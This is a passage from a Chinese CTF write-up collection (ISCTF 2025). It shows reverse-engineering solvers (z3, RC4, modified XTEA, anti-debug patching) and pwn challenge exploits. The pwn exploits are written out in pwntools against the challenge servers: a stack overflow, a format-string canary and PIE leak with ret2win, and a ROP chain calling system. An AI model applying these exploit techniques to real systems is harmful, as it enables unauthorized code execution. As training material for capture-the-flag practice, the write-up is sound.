except Exception as e:
print(f"[-] Failed to solve DLP: {e}")
exit()
k_hex_str = "{:x}".format(k)
print(f"[*] Calculating MD5 for string: {k_hex_str}")
flag_md5 = hashlib.md5(k_hex_str.encode()).hexdigest()
print(f"ISCTF{{{flag_md5}}}")
#ISCTF{43896099feea21a3d5804863075e1aaa}
reverce
ezzz_math
Title
出题人:EX_Ma7cH
院校:山东科技大学
难度:简单
题目描述:来解方程吧
Idea

长度判断+sub_8C1000函数判断输入的flag

sub_8C1000函数就是z3求解,写脚本解出flag即可:
from z3 import *
* Define the 23 characters as Z3 variables (BitVectors of 8 bits for ASCII)
chars = [BitVec(f"c{i}", 8) for i in range(23)]
* Create a Z3 solver instance
solver = Solver()
* Add constraints that each character should be printable ASCII
* This is a good assumption for CTF flags.
for c in chars:
solver.add(c >= 32, c <= 126) * Printable ASCII range
- --- Define the equations from sub_401000 ---
- Each equation is of the form: sum(coeff * char_value) == constant
* Equation 1
eq1 = (94 * chars[22] + 74 * chars[21] + 70 * chars[19] + 12 * chars[18] + 20 * chars[16] + 62 * chars[12] + 82 * chars[10] + 7 * chars[7] + 63 * chars[6] + 18 * chars[5] + 58 * chars[4] + 94 * chars[2] + 77 * chars[0] - 43 * chars[1] - 37 * chars[3] - 97 * chars[8] - 23 * chars[9] - 86 * chars[11] - 6 * chars[13] - 5 * chars[14] - 79 * chars[15] - 63 * chars[17] - 93 * chars[20] == 20156)
solver.add(eq1)
* Equation 2
eq2 = (87 * chars[22] + 75 * chars[21] + 73 * chars[15] + 67 * chars[14] + 30 * chars[13] + (chars[11] << 6) + 35 * chars[9] + 91 * chars[7] + 91 * chars[5] + 34 * chars[3] + 74 * chars[0] - 89 * chars[1] - 72 * chars[2] - 76 * chars[4] - 32 * chars[6] - 97 * chars[8] - 39 * chars[10] - 23 * chars[12] + 8 * chars[16] - 98 * chars[17] - 4 * chars[18] - 80 * chars[19] - 83 * chars[20] == 7183)
solver.add(eq2)
* Equation 3
eq3 = (51 * chars[21] + 22 * chars[20] + 15 * chars[19] + 51 * chars[17] + 96 * chars[12] + 34 * chars[7] + 77 * chars[5] + 59 * chars[2] + 89 * chars[1] + 92 * chars[0] - 85 * chars[3] - 50 * chars[4] - 51 * chars[6] - 75 * chars[8] - 40 * chars[10] - 4 * chars[11] - 74 * chars[13] - 98 * chars[14] - 23 * chars[15] - 14 * chars[16] - 92 * chars[18] - 7 * chars[22] == -7388)
solver.add(eq3)
* Equation 4
eq4 = (61 * chars[22] + 72 * chars[21] + 28 * chars[20] + 55 * chars[18] + 20 * chars[17] + 13 * chars[14] + 51 * chars[13] + 69 * chars[12] + 10 * chars[11] + 95 * chars[10] + 43 * chars[9] + 53 * chars[8] + 76 * chars[7] + 25 * chars[6] + 9 * chars[5] + 10 * chars[4] + 98 * chars[1] + 70 * chars[0] - 22 * chars[2] + 2 * chars[3] - 49 * chars[15] + 4 * chars[16] - 77 * chars[19] == 69057)
solver.add(eq4)
* Equation 5
eq5 = (7 * chars[22] + 21 * chars[16] + 22 * chars[13] + 55 * chars[9] + 66 * chars[8] + 78 * chars[5] + 10 * chars[3] + 80 * chars[1] + 65 * chars[0] - 20 * chars[2] - 53 * chars[4] - 98 * chars[6] + 8 * chars[7] - 78 * chars[10] - 94 * chars[11] - 93 * chars[12] - 18 * chars[14] - 48 * chars[15] - 9 * chars[17] - 73 * chars[18] - 59 * chars[19] - 68 * chars[20] - 74 * chars[21] == -31438)
solver.add(eq5)
* Equation 6
eq6 = (33 * chars[19] + 78 * chars[15] + 66 * chars[10] + 3 * chars[9] + 43 * chars[4] + 24 * chars[3] + 3 * chars[2] + 27 * chars[0] - 18 * chars[1] - 46 * chars[5] - 18 * chars[6] - chars[7] - 33 * chars[8] - 50 * chars[11] - 23 * chars[12] - 37 * chars[13] - 45 * chars[14] + 2 * chars[16] - chars[17] - 60 * chars[18] - 87 * chars[20] - 72 * chars[21] - 6 * chars[22] == -26121)
solver.add(eq6)
* Equation 7
eq7 = (31 * chars[20] + 80 * chars[18] + 34 * chars[17] + 34 * chars[15] + 38 * chars[14] + 53 * chars[13] + 35 * chars[12] + 82 * chars[9] + 27 * chars[8] + 80 * chars[7] + 46 * chars[6] + 18 * chars[4] + 5 * chars[1] + 98 * chars[0] - 12 * chars[2] - 9 * chars[3] - 57 * chars[5] - 46 * chars[10] - 31 * chars[11] - 68 * chars[16] - 94 * chars[19] - 93 * chars[21] - 15 * chars[22] == 26005)
solver.add(eq7)
......略
- Equation 23
eq23 = (15 * chars[22] + chars[19] + 26 * chars[17] + 65 * chars[16] + 80 * chars[11] + 92 * chars[8] + 28 * chars[5] + 79 * chars[4] + 73 * chars[0] - 98 * chars[1] - 2 * chars[2] - 70 * chars[3] - 10 * chars[6] - 30 * chars[7] - 51 * chars[9] - 77 * chars[10] - 32 * chars[12] - 32 * chars[13] + 8 * chars[14] + 4 * chars[15] - 11 * chars[18] - 83 * chars[20] - 85 * chars[21] == -10455)
solver.add(eq23)
- --- Solve the constraints ---
if solver.check() == sat:
model = solver.model()
decrypted_flag_bytes = bytearray()
for i in range(23):
char_val = model.evaluate(chars[i], model_completion=True)
decrypted_flag_bytes.append(int(char_val.as_long()))
* The decrypted flag is XORed with 0xCu.
* To get the original flag, we XOR it again with 0xCu.
original_flag = "".join([chr(b ^ 12) for b in decrypted_flag_bytes])
print(f"Decrypted string: {bytes(decrypted_flag_bytes).decode('ascii')}")
print(f"Original flag: {original_flag}")
else:
print("Could not find a solution.")
ISCTF{yR_A_Zzz_Ma5t3R!}
ezpy
Title
出题人:mu_xin
院校:福建师范大学
难度:简单
题目描述:这是什么库?没见过呢
Idea

python写的程序,解包、反编译后,得知判断函数是check,用IDA打开

找到check函数sub_36F4D1519
这个函数实现了 sub_36F4D1430 (KSA) 和 sub_36F4D149C (PRGA)。
在python中解密:
目标加密数据 (byte_36F4D4050):
encrypted_data = bytes([
0x1d, 0xd5, 0x38, 0x33, 0xaf, 0xb5, 0x51, 0xf3, 0x2c, 0x6b,
0x6e, 0xfe, 0x41, 0x24, 0x43, 0xd2, 0x71, 0xcf, 0xa4, 0x4c,
0xe3, 0x9a, 0x9a, 0xb5, 0x31
])
用于 RC4 的密钥:
key = b"ISCTF2025"
def rc4_ksa(key):
"""
RC4 密钥调度算法 (KSA)。
生成 S-Box。
"""
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + key[i % len(key)]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_prga(s_box, data):
"""
RC4 伪随机生成算法 (PRGA)。
使用给定的 S-Box 解密数据。
"""
i = 0
j = 0
decrypted_bytes = bytearray()
# 创建 S-Box 的一个副本,因为 PRGA 会修改它
current_s_box = list(s_box)
for byte in data:
i = (i + 1) % 256
j = (j + current_s_box[i]) % 256
current_s_box[i], current_s_box[j] = current_s_box[j], current_s_box[i]
keystream_byte = current_s_box[(current_s_box[i] + current_s_box[j]) % 256]
decrypted_byte = byte ^ keystream_byte
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)
if __name__ == "__main__":
# 1. 使用密钥生成 S-Box
s_box = rc4_ksa(key)
# 2. 解密目标加密数据
# 'check' 函数将 flag 与密钥流进行异或。
# 要获取 flag,我们将 encrypted_data 与相同的密钥流进行异或。
# 由于异或是其自身的逆运算 (A ^ B ^ B = A),所以这样可行。
flag_bytes = rc4_prga(s_box, encrypted_data)
# 原始代码检查 strlen(Str) == 25。
# 解密后的数据也应该是 25 字节长。
if len(flag_bytes) == 25:
# 尝试将字节解码为 ASCII 字符串,忽略无法解码的字符
flag = flag_bytes.decode('ascii', errors='ignore')
print(f"The flag is: {flag}")
else:
print("Decryption resulted in unexpected length.")
ISCTF{Y0U_GE7_7HE_PYD!!!}
MysteriousStream
Title
出题人:来杯冰美式!
院校:周口职业技术学院
难度:简单
题目描述:小曲冒着生命风险,读入了一个神秘的 payload.dat文件,为了不枉费小曲的艰辛……,你能逆向出被加密的秘密吗?
exp
这个程序实际上就是个解密程序,在kali里面运行一下就可以了。。。。。。。
ISCTF{Y0u_a2e_2ea11y_a_1aby2inth_master}

ELF
Title
出题人:A1gorithms
院校:铜陵职业技术学院
难度:中等
题目描述:这个elf有点奇怪呢
Idea

解包得到这个py文件
处理流程:
将24个字符分成8组,每组3个字符
对每组3个字符进行base64编码
计算base64编码结果的MD5哈希值(32位16进制字符串)
对每个MD5哈希值应用<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">Rep()函数进行洗牌
将8个洗牌后的哈希值拼接起来,与目标flag对比
脚本解密:
import base64
import hashlib
import random
import itertools
flag = '8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b520f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838efa5beba9e72'
def Rep(hash_data):
random.seed(161)
result = list(hash_data)
for i in range(len(result) - 1, 0, -1):
swap_index = random.randint(0, i)
result[i], result[swap_index] = (result[swap_index], result[i])
return ''.join(result)
def reverse_Rep(shuffled_hash):
"""逆向Rep函数,恢复原始MD5哈希"""
random.seed(161)
result = list(shuffled_hash)
n = len(result)
# 创建交换记录
swaps = []
for i in range(n - 1, 0, -1):
swap_index = random.randint(0, i)
swaps.append((i, swap_index))
# 反向应用交换
for i, swap_index in reversed(swaps):
result[i], result[swap_index] = result[swap_index], result[i]
return ''.join(result)
def brute_force_group(target_md5):
"""暴力破解3个字符的输入"""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[]|;:,.<>?/~"
for combo in itertools.product(chars, repeat=3):
text = ''.join(combo)
c2b = base64.b64encode(text.encode('utf-8'))
hash_value = hashlib.md5(c2b).hexdigest()
if hash_value == target_md5:
return text
return None
# 分割flag成8组
shuffled_hashes = [flag[i:i+32] for i in range(0, len(flag), 32)]
# 逆向洗牌,恢复原始MD5
original_hashes = [reverse_Rep(h) for h in shuffled_hashes]
# 暴力破解每组
result = []
for i, target_md5 in enumerate(original_hashes):
print(f"破解第{i+1}组...")
found = brute_force_group(target_md5)
if found:
result.append(found)
print(f" 找到: {found}")
else:
print(f" 未找到匹配")
if len(result) == 8:
flag_text = ''.join(result)
print(f"\n完整flag: {flag_text}")
else:
print("\n未能找到完整flag")
#ISCTF{NO7_3x3_i5_3Lf!!!}
小蓝鲨的单片机_1
Title
出题人:KanaDE
院校:平顶山学院
难度:中等
题目描述:"小蓝鲨的单片机程序似乎出了一些故障,几颗LED灯似乎在毫无规律地闪烁......
51反汇编工具:[https://github.com/YMDG-BM/51-Disassembler](https://github.com/YMDG-BM/51-Disassembler)
STC89C52数据手册:[http://www.stcmcudata.com/datasheet/STC89C52.pdf](http://www.stcmcudata.com/datasheet/STC89C52.pdf)"
Idea

ezmcu2就是机器码,需要反汇编其中的逻辑,下载题目提供的反汇编工具,在它的opcodes.py 中看到反汇编关键信息

把这个脚本和ezmcu2的16进制丢给deepseek,就能得到反编译出来的伪代码

原来ezmcu2尾部的机器码对应着数据段,中间的机器码其实是代码段,让deepseek解析数据段打印出flag我们自己识别即可

得到ISCTF{Wow_You_Are_Good_At_51}
小蓝鲨的单片机_2
Title
出题人:KanaDE
院校:平顶山学院
难度:中等
题目描述:"小蓝鲨偶然拿到一个1602A测试程序,但是他手头没有51开发板,你可以帮他分析出测试程序会在屏幕上显示什么吗?
51反汇编工具:[https://github.com/YMDG-BM/51-Disassembler](https://github.com/YMDG-BM/51-Disassembler)
STC89C52数据手册:[http://www.stcmcudata.com/datasheet/STC89C52.pdf](http://www.stcmcudata.com/datasheet/STC89C52.pdf)
1602A屏幕驱动方法:[https://blog.csdn.net/aaaaaaaa123345/article/details/124212417](https://blog.csdn.net/aaaaaaaa123345/article/details/124212417)"
Idea
题目提示给出的 51 反汇编工具与 STC89C52 数据手册
1602a.hex),该文件包含 8051 固件代码与数据。
将 Intel HEX 数据转换到 64KB 的二进制映像(8051 的地址空间),并在可读区域搜索 ASCII 可打印字符串。
def parse_hex_line(line):
if line.startswith(':'):
count = int(line[1:3], 16)
addr = int(line[3:7], 16)
record_type = int(line[7:9], 16)
data = line[9:9+count*2]
return record_type, addr, data
return None, None, None
hex_file = '1602a.hex'
binary_data = bytearray(65536)
max_addr = 0
with open(hex_file, 'r') as f:
for line in f:
line = line.strip()
rtype, addr, data_hex = parse_hex_line(line)
if rtype == 0: # Data record
data_bytes = bytes.fromhex(data_hex)
for i, b in enumerate(data_bytes):
binary_data[addr + i] = b
max_addr = max(max_addr, addr + len(data_bytes))
print(f"Max address: {max_addr:04X}")
min_len = 4
current_string = ""
found_strings = []
for b in binary_data[:max_addr+1]:
if 32 <= b <= 126:
current_string += chr(b)
else:
if len(current_string) >= min_len:
found_strings.append(current_string)
current_string = ""
print("Found strings:")
for s in found_strings:
print(s)
print("\nLast 64 bytes:")
print(binary_data[max(0, max_addr-64):max_addr+1].hex())
-
观察 HEX 文件可发现数据从 0x0100 开始是常见的程序起始位置。使用
disasm_8051.py对 0x0100 到数据末端进行了逐字节的简单反汇编(注意:这是轻量级反汇编,仅识别并格式化了常见指令用于快速理解程序流程)。 -
反汇编输出中可以看到若干函数调用(ACALL)、MOV DPTR、MOV 和 CJNE 等指令,提示程序在固件中使用了数据表查找/比较逻辑,最后程序在数据区存在一段看起来像被编码/混淆的数据字节序列。
-
在反汇编/数据观察过程中,在程序末尾或数据段发现了两段连续的字节:
- 第一段(十六进制): EB F1 E1 F6 E4 D9 F5 CD D5 FD FB CD D7 FD E3 D0
- 第二段(十六进制): C7 FD 97 93 FD EF C3 D1 D6 C7 D0 DF 82 82 82 82
这些字节明显不是有效指令或 ASCII 明文,怀疑为加密/异或混淆后的字符串(屏幕显示文本通常通过数据表或直接以字节形式嵌入固件)。
-
观察反汇编输出:程序中存在字节
A2(例如 0xA2 出现在数据/指令附近),并且A2很可能与外设/表或加密选择有关。尝试对上述字节使用异或0xA2进行解密:- 对第一段字节与 0xA2 做异或,得到可读文本: "ISCTF{Wow_You_Ar"
- 对第二段字节与 0xA2 做异或,得到可读文本(含空格结尾): "e_51_Master} "
-
将两段拼接即得到完整可打印的 flag: ISCTF{Wow_You_Are_51_Master}
exp
python -c "s1=bytes.fromhex('EB F1 E1 F6 E4 D9 F5 CD D5 FD FB CD D7 FD E3 D0'); s2=bytes.fromhex('C7 FD 97 93 FD EF C3 D1 D6 C7 D0 DF 82 82 82 82'); k=0xA2; print(''.join([chr(b^k) for b in s1])+''.join([chr(b^k) for b in s2]))"
ISCTF{Wow_You_Are_51_Master}
ez_xtea
Title
出题人:卡奇@POFP
院校:无
难度:中等
题目描述:真ez嘛???直接打开好像东西有点少呢
hint:这是一个来自AA自写压缩壳
Idea
附件是一个XTEA.exe,检查后发现它是一个被打包的 PE 文件。
进行解包后,发现文件包含一个压缩的载荷。我们提取并解压得到实际的可执行逻辑,保存为 decompressed.exe。
程序在运行时使用伪随机数生成器生成加密密钥。
- 种子:随机数生成器以
srand(2025)作为种子。 - 密钥构造:通过连续调用
rand()四次得到 4 个整数,组成密钥。 - 密钥值:
[6651, 15290, 20313, 4631](基于标准 MSVCRT 线性同余生成器推导)。
核心逻辑位于地址 0x401030 的函数中,实现了一个被修改过的 XTEA 块加密算法。
发现的主要修改:
- 动态轮数:不是固定轮数(如 32 或 64),而是通过一个涉及 LCG(线性同余发生器)和按位混合的复杂检查决定循环次数。
- 对循环条件的分析表明实际执行 38 轮。
- 按位循环移位:标准 XTEA 的移位操作被改为/增强为循环移位(ROL/ROR)。
v0被左循环移位 (rotate left)(sum % 5) + 1位。v1被左循环移位(sum % 7) + 1位。
- 链式处理:对数据数组以链式方式处理(类似 CBC),每对数据的加密会原地修改值,从而影响下一对的加密结果。
密文位于二进制文件的 .data 段中。
- 地址:RVA
0x4000(文件偏移0x2600)。 - 数据(Hex):
3ecbe2d730aada1f61c45c79e64c5c93c4b287f5927d4171329c05301fb5078faab93bb52915989b。
exp
import struct
def rol(val, shift):
shift &= 31
return ((val << shift) | (val >> (32 - shift))) & 0xFFFFFFFF
def ror(val, shift):
shift &= 31
return ((val >> shift) | (val << (32 - shift))) & 0xFFFFFFFF
def gen_key(seed):
key = []
state = seed
for _ in range(4):
state = (state * 214013 + 2531011) & 0xFFFFFFFF
val = (state >> 16) & 0x7FFF
key.append(val)
return key
def decrypt_pair(v0, v1, key):
delta = 0x114514
rounds = 38
sum_val = (delta * rounds) & 0xFFFFFFFF
for i in range(rounds):
shift_v1 = (sum_val % 5) + 1
v1 = ror(v1, shift_v1)
term1 = (((v0 << 4) & 0xFFFFFFFF) ^ (v0 >> 5)) + v0
term1 &= 0xFFFFFFFF
k = key[(sum_val >> 11) & 3]
term2 = sum_val + k
term2 &= 0xFFFFFFFF
term = term1 ^ term2
v1 = (v1 - term) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
shift_v0 = (sum_val % 7) + 1
v0 = ror(v0, shift_v0)
term1 = (((v1 << 4) & 0xFFFFFFFF) ^ (v1 >> 5)) + v1
term1 &= 0xFFFFFFFF
k = key[sum_val & 3]
term2 = sum_val + k
term2 &= 0xFFFFFFFF
term = term1 ^ term2
v0 = (v0 - term) & 0xFFFFFFFF
return v0, v1
def solve():
ciphertext_hex = "3ecbe2d730aada1f61c45c79e64c5c93c4b287f5927d4171329c05301fb5078faab93bb52915989b"
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
data = list(struct.unpack('<10I', ciphertext_bytes))
key = gen_key(2025)
for i in range(8, -1, -1):
v0 = data[i]
v1 = data[i+1]
v0, v1 = decrypt_pair(v0, v1, key)
data[i] = v0
data[i+1] = v1
flag_bytes = struct.pack('>10I', *data)
print(f"{flag_bytes.decode('utf-8', errors='ignore')}")
if __name__ == "__main__":
solve()
#ISCTF{XTEA_14_POFP_N0_0ne_Can_Beat!!!!!}
ReCall
Title
出题人:EX_Ma7cH
院校:山东科技大学
难度:中等
题目描述:在它们诞生与消亡的那一瞬间,有什么东西发生了变化……
Idea
用IDA动态调试,发现有反调试,翻看代码,发现有两个tls函数在main函数之前执行
把两个函数中关于检查调试的代码中最终决定跳转的指令修改,即jz改为jnz,即可绕过反调试。
__stdcall
TlsCallback_0函数除了反调试以外,还会更改a4数组(也就是key数组)的值,在所有case下断点动态调试可知,第一次为case1, 然而等到第二次,第三次加密时,__stdcall
TlsCallback_0函数被再次调用!
于是我们根据a4的值和不同轮次case的情况,动态调试得到三次key数组:
[0x386EA53B, 0xD7E2667D, 0xC38166DB, 0x2913A100]
[0x386EA53B, 0xD7E2667D, 0x291E3726, 0x2913A100]
[0x386EA53B, 0xD7E2667D, 0x291E3726, 0x88A3F735]


delta同样也被修改为0x88A3F735
加密逻辑:
# include <stdio.h>
# include <stdint.h>
int
main()
{
intkey[4] = {0x386EA53B, 0xD7E2667D, 0xC38166DB, 0x2913A100};
int
delta = 0;
int
text[2] = {0x00000000, 0x00000000};
int
i, g1, g2, k = 0;
for (i = 0; i < 32; ++i)
{
delta += 0x88A3F735;
k = (delta >> 2) & 3;
g1 = ((text[1] ^ key[k ^ 0 & 3]) + (text[1] ^ delta)) ^ (((16 * text[1]) ^ (text[1] >> 3))
+ ((4 * text[1]) ^ (text[1] >> 5)));
text[0] += g1;
g2 = (((text[0] ^ key[k ^ 1 & 3]) + (text[0] ^ delta)) ^ (((16 * text[0]) ^ (text[0] >> 3))
+ ((4 * text[0]) ^ (text[0] >> 5))));
text[1] += g2;
}
printf("Delta: 0x%X\n", delta);
return 0;
}
exp
解密脚本(C语言):
# include <stdio.h>
# include <stdint.h>
int
main()
{
uint32_t
key[4] = {0x386EA53B, 0xD7E2667D, 0xC38166DB, 0x2913A100};
uint32_t
delta = 0x88A3F735 * 32; // 初始化delta为最终值
uint32_t
text[2] = {0x2D66FD90, 0xF6FB537A}; // 这是密文
int
i, k;
// 解密过程(与加密相反)
for (i = 0; i < 32; ++i) {
k = (delta >> 2) & 3;
// 先处理 text[1](加密时是后处理的)
uint32_t g2 = (((text[0] ^ key[k ^ 1 & 3]) + (text[0] ^ delta)) ^
(((16 * text[0]) ^ (text[0] >> 3)) +
((4 * text[0]) ^ (text[0] >> 5))));
text[1] -= g2; // 解密是减法
// 再处理 text[0](加密时是先处理的)
uint32_t g1 = (((text[1] ^ key[k ^ 0 & 3]) + (text[1] ^ delta)) ^
(((16 * text[1]) ^ (text[1] >> 3)) +
((4 * text[1]) ^ (text[1] >> 5))));
text[0] -= g1; // 解密是减法
delta -= 0x88A3F735; // 解密时delta递减
}
printf("解密结果:\n");
printf("text[0] = 0x%08X\n", text[0]);
printf("text[1] = 0x%08X\n", text[1]);
// 转换为字节输出
unsigned
char * bytes = (unsigned char *)
text;
printf("作为字符串: ");
for (int j = 0; j < 8; j++) {
printf("%c", (bytes[j] >= 32 & & bytes[j] < 127) ? bytes[j]: '.');
}
printf("\n");
return 0;
}
得到ISCTF
{Y9
将上述脚本的key和密文对应更改可得到第2,3
轮的明文
ISCTF
{Y9r_gO0D @ _Tl5_T3A}
pwn
来签个到吧
Title
出题人:卡奇
院校:无
难度:简单
题目描述:🤠
Idea

开了地址虚拟化,有金丝雀
核心 漏洞为当buf_[27] == -1378178390时会返回系统权限
故只需利用read函数读取过长将buf_[27]替换为相应的十六进制即可
exp
from pwn import *
io=remote(host:"challenge.bluesharkinfo.com",port:29170)
target = OxFFFFFFFFADDAAAAA
offset =108
payload = b'a' * offset + p64(target)
io.recvuntil("do you like blueshark?")
io.send (payload)
io.interactiveO
ez_fmt
Title
出题人:shanlinchuanze
院校:福建师范大学
难度:简单
题目描述:看起来简单的一道题,就那么静静的呆在那里
Idea
通过 file 和 checksec (pwntools) 查看程序信息:
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found (开启了栈保护)
- NX: NX enabled (堆栈不可执行)
- PIE: PIE enabled (地址随机化)
ida分析vuln()函数:
- 程序首先读取用户输入,然后直接将该输入作为参数传递给
printf,存在明显的格式化字符串漏洞。
c read(0, buf, 0x100); printf(buf); // 可用于泄露栈信息 - 程序随后再次读取用户输入,读取长度为
0x200,但缓冲区buf大小仅为0x90(144 字节)。
c read(0, buf, 0x200); // 漏洞点 2:0x200 > 0x90,存在栈溢出 - 程序中存在一个
win函数 (地址偏移0x11e9),其逻辑为调用system("/bin/sh")。
asm 11e9: endbr64 ... 120e: call system
由于开启了 PIE 和 Canary,我们不能直接进行栈溢出覆盖返回地址。
可以利用格式化字符串漏洞,泄露栈上的关键信息。
通过动态调试,确定栈上的偏移:
- Canary: 位于偏移 23 (
%23$p)。 - PIE 泄露地址: 位于偏移 31 (
%31$p),该位置存储了main函数中的某个返回地址或栈帧指针,通过计算该地址与main函数起始地址的固定偏移,可以还原出程序的基址 (PIE Base)。
再进行一次栈溢出漏洞,构造 Payload 覆盖返回地址。
在 x86_64 架构下,调用 system 函数时要求栈指针 (RSP) 必须是 16 字节对齐的。如果直接跳转到 win 函数,可能会因为栈未对齐导致程序在 system 内部崩溃 (SIGSEGV)。在跳转到 win 之前,先跳转到一个 ret 指令 (gadget)。ret 指令会弹出栈顶元素,使 RSP 增加 8,从而修正栈对齐。
exp
#!/usr/bin/env python3
from pwn import *
elf_path = './ez_fmt'
elf = ELF(elf_path)
context.binary = elf
context.log_level = 'info'
io = remote('challenge.bluesharkinfo.com', 27499)
payload = '%23$p.%31$p'
io.recvuntil('1st input: ')
io.sendline(payload)
leak = io.recvuntil('[leak end]').decode()
print("Leak output:", leak)
try:
parts = leak.split('\n')[0].split('.')
canary = int(parts[0], 16)
leak_main = int(parts[1], 16)
elf.address = leak_main - 0x12fa
win_addr = elf.symbols['win']
log.success(f"Canary: {hex(canary)}")
log.success(f"PIE Base: {hex(elf.address)}")
log.success(f"Win Addr: {hex(win_addr)}")
payload2 = b'A' * 136
payload2 += p64(canary)
payload2 += b'B' * 8
ret_gadget = elf.address + 0x12f9
payload2 += p64(ret_gadget)
payload2 += p64(win_addr)
io.recvuntil('2nd input: ')
io.sendline(payload2)
io.sendline('id; ls -la; cat flag; cat flag.txt')
io.interactive()
except Exception as e:
log.error(f"Exploit failed: {e}")

ret2rop
Title
出题人:enter
院校:山东科技大学
难度:简单
题目描述:什么?要求要有指导?教学题目捏,你已经学会新手教程了,快来试一试叭😋
Idea
使用 checksec 检查二进制文件的保护机制:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
- NX Enabled: 栈不可执行,无法直接在栈上执行 shellcode,必须使用 ROP。
- No Canary: 栈溢出没有 Canary 保护。
- No PIE: 代码段地址固定,方便寻找 Gadgets。
通过 IDA 反编译 vuln 函数:
void __cdecl vuln()
{
char buf[64]; // [rsp+0h] [rbp-50h]
ssize_t n; // [rsp+40h] [rbp-10h]
ssize_t i; // [rsp+48h] [rbp-8h]
puts("please int your name");
read(0, name, 0x10u); // name 是全局变量
puts("please introduce yourself");
getRandom(frame.mask, 32);
n = read(0, buf, 0x100u); // 栈溢出,buf 大小 64,读取 256
if ( n > 0 )
{
for ( i = 0; i < n; ++i )
buf[i] ^= frame.mask[i]; // XOR 混淆
}
}
read(0, buf, 0x100u)存在明显的栈溢出,buf只有 64 字节(0x40),但读取了 256 字节。- 关键逻辑: 循环变量
i和循环上限n位于栈上buf之后。
*buf:rbp-0x50
*n:rbp-0x10(偏移 64 / 0x40)
*i:rbp-0x8(偏移 72 / 0x48)
*ret:rbp+0x8(偏移 88 / 0x58)
程序在溢出后会执行一个 XOR 循环buf[i] ^= frame.mask[i]。如果我们直接覆盖返回地址构造 ROP 链,ROP 链的内容会被 XOR 修改,导致无法正确执行。
我们需要让 XOR 循环提前结束,从而保护我们的 ROP 链不被修改。
观察栈布局:
- 偏移 64 (0x40) 处是变量
n。 - 循环条件是
i < n。 - 在循环过程中,当
i增加到 64 时,程序会执行buf[64] ^= mask[64]。 - 此时
buf[64]对应的内存地址正好是变量n。 - 初始时
n的值是我们输入的字节数(例如 256 / 0x100)。 - 如果我们在 payload 的偏移 96 处(对应栈上的
n,因为read读入的数据覆盖了n)放置一个特定的值,使得n被 XOR 后变为 0(或小于等于i),循环就会终止。
2.2 ROP 链构造
- 利用程序开头的
read(0, name, 0x10u)将字符串"cat flag"写入全局变量name(0x4040f0)。 - 执行系统调用:
*pop rsi; ret: 将name地址放入rsi。
*mov rdi, rsi; ret: 将name地址转移到rdi(system 的参数)。
*system: 调用system("cat flag")。
* 为了栈对齐和稳定性,中间加了pop rbp; ret和retgadget。
exp
from pwn import *
context.binary = './ret2rop'
context.terminal = ['tmux', 'splitw', '-h']
p = remote('challenge.bluesharkinfo.com', 23011)
pop_rsi_ret = 0x401a1c
mov_rdi_rsi_ret = 0x401a25
system_plt = 0x401180
name_addr = 0x4040f0
ret_gadget = 0x40101a pop_rbp_ret = 0x40131d
p.recvuntil(b"if you want to watch demo\n")
p.sendline(b"no")
p.recvuntil(b"please int your name\n")
p.send(b"ls -la;cat flag\x00".ljust(0x10, b'\x00'))
rop = b""
rop += p64(pop_rbp_ret)
rop += p64(0x100)
rop += p64(pop_rsi_ret)
rop += p64(name_addr)
rop += p64(mov_rdi_rsi_ret)
rop += p64(system_plt)
fake_rbp = 0x404500
offset_rbp = 80
payload = b"A" * offset_rbp
payload += p64(fake_rbp)
payload += rop
payload = payload.ljust(256, b'\x00')
p.recvuntil(b"please introduce yourself\n")
p.send(payload)
p.interactive()

2048
Title
出题人:mrcloud
院校:南华大学
难度:简单
题目描述:小蓝鲨做了一个小游戏,但是留在里面的后门似乎忘记清理了
Idea
靶机是一款带有内置后门的 2048 游戏二进制(ez2048)。
- 架构:amd64
- RELRO:No RELRO
- Stack Canary:有
- NX:启用
- PIE:禁用(基址固定 0x400000)
- IBT(Indirect Branch Tracking):启用(注意使用 PLT gadget/entry)
文件中重要全局符号: buf全局缓冲区地址:0x404a40flag符号存在
main 执行流程:
- init() 设置 IO 缓冲
- 打印欢迎并
read(0, buf, 0x32)读取名字(注意长度限制) - 去掉名字中的
\n,然后strcpy(dest, "Hello,");strcat(dest, buf);最后strcpy(buf, dest)-> 即将buf设置为Hello,<name>(覆盖原输入) - 打印提示并循环调用
playgame(),在每轮后要求用户输入Q表示结算并退出循环 - 退出循环后调用
final()检查分数并决定是否调用shell()
buf 是全局可控内容,后续可被用作 system 的参数
playgame():游戏逻辑,按q分数减 10 并 returnfinal():比较score(unsigned)和目标100000,若超过则puts("here is your shell")并shell()shell():实现了一个简单交互 shell,循环读取用户输入到栈上某缓冲区并puts打印,然后对某些命令处理:如果strcmp(buf, "ls") == 0就system(buf),如果输入为exit则 break 并返回。
shell() :
- 它对输入的处理会在栈上分配缓冲区(约 0x80 左右),但
read的长度可达 0x128,导致能够覆盖栈 Canary 及返回地址。 - 通过覆盖 Canary 的首字节(Canary 高字节为 0x00),可以借助 puts() 的输出泄露剩余 7 字节 Canary。
因二进制启用了 IBT(Indirect Branch Tracking),不能直接使用任意地址调用 system,需使用 PLT 中的入口地址(PLT 的 system 对应地址在分析中为 0x401170),或者保证指令边界处有 endbr64,本报告中使用 PLT 地址以确保兼容。
- 全局变量
buf的地址:0x404a40(ELF 符号可直接读取) - 系统
system的 PLT 入口:0x401170(在启用 IBT 时,使用 PLT 地址保证endbr64正确) - Canary 泄露步骤:向 shell 发送 137 个
A,shell 的 puts 输出中会包含A*137 后紧跟 Canary 的剩余 7 字节,首字节为\x00。 - 栈布局:
- [buffer (136)]
- [canary (8)]
- [saved rbp (8)]
- [return rip ...]
exp
from pwn import *
from pwn import log
import time
